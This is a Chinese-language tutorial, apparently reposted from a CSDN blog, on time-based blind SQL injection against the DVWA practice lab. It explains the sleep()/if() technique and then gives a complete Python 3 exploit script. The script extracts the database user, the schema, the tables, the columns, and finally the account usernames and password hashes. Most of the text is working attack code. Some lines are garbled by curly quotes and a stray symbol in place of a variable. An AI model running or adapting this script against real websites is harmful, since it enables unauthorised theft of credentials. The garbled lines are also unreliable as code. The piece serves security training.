SQLInjection(Blind)time盲注入

database

python3编写EXP系列

SQL Injection (Blind) time盲注入
1
简介
DVWA靶场这个是最基础的靶场如果想学习EXP编写这个靶场最好不过,如果能把这个靶场的利用的EXP用python3编写出来这样算是合格的exp入门选手了。
https://github.com/digininja/DVWA
这个系列的第五篇内容这里会学习到如何通过时间注入,获取账号和密码。

盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
2
原理
盲注的方法分布有布尔型注入 time注入昨天详细说明了布尔型注入的经过,今天讲的是time注入,也就是时间差注入,或者又叫延时注入,是利用sql语句达到延时的目的,在mysql中用的sleep()函数,select sleep(3) 数据库延时3秒返回信息。利用这个函数加上if函数进行判断,就可以达到延时注入,最后得出要查询的数据。


将dvwa等级设置low的时候访问http://www.dvwa.com/vulnerabilities/sqli_blind/?id=1&Submit=Submit#
!](https://img-blog.csdnimg.cn/2021041415334631.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0FwcGxldGVhY2hlcnM=,size_16,color_FFFFFF,t_70#pic_center)

将延时语句输入可以看到时间是大于10的而且不用理会页面是否返回不同信息。
只要有延时,就能采用延时注入的方法,注入查询内容。


3
编写exp思路
payload ="./@_0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
首先要查询内容的长度,再遍历长度每一个字符 与 payload的字符每个进行匹配如果匹配 成功 页面延时5秒返回页面例如 要查询 selectif(length(database())=12,sleep(5),0); 如果查询的数据库长度等于12延时五秒 得到长度 再查询内容
select if(substring(database(),1,1)=‘w’,sleep(5),0);
如果正确延时五秒返回页面。如此类推 一直到最后一个。

编写代码
#coding:utf-8
import requests
import time
url=“http://www.dvwa.com/vulnerabilities/sqli_blind/?id=1”
cookies = {“PHPSESSID”:“db226n2bulhv02k6ajou1i8e87”,“security”:“low”}
user=“user()”
dbname=“database()”
tables="(select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database())"
columns="(select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=0x7573657273)"
userpass="(select concat(user,0x3a,password) from users limit 1)"
times=“sleep()”

def getlen(sql):
n=1
while True:
start_time =time.time()
req = requests.get(url=url + “"and if(length({})={},sleep(5),0)-- &Submit=Submit#”.format(sql,n), cookies=cookies)
space_time = time.time()-start_time
if space_time>=5:
break
n=n+1
return n

def getdata(sql):
payloads = “./@_0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz”
getstr = ‘’
for i in range(1,getlen(sql)+1):
for p in payloads:
start_time = time.time()
turl = url + “"and if(ascii(substring({},{},1))={},sleep(5),0)-- &Submit=Submit#”.format(sql,i,ord§)
req=requests.get(url=turl,cookies=cookies)
space_time = time.time() - start_time
print("[+] 正在执行 {} – {} [+]".format(i,p))
if space_time >= 5:
getstr+=p
print("[]正在获取数据 [] "+getstr)
break
return getstr

print("[] 当前用户 [] “+getdata(user))
print(”[] 当前库 [] “+getdata(dbname))
print(”[] 库的所有表 [] “+getdata(tables))
print(”[] user表的字段 [] “+getdata(columns))
print(”[] 账号和密码 [] "+getdata(userpass))
运行如图

SQL Injection (Blind) time盲注入

](https://img-blog.csdnimg.cn/20210414153435890.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0FwcGxldGVhY2hlcnM=,size_16,color_FFFFFF,t_70#pic_center)
————————————————
版权声明:本文为CSDN博主「网络安全苹果老师」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/Appleteachers/article/details/115700227

以上是 SQLInjection(Blind)time盲注入 的全部内容, 来源链接: utcz.com/z/535447.html

回到顶部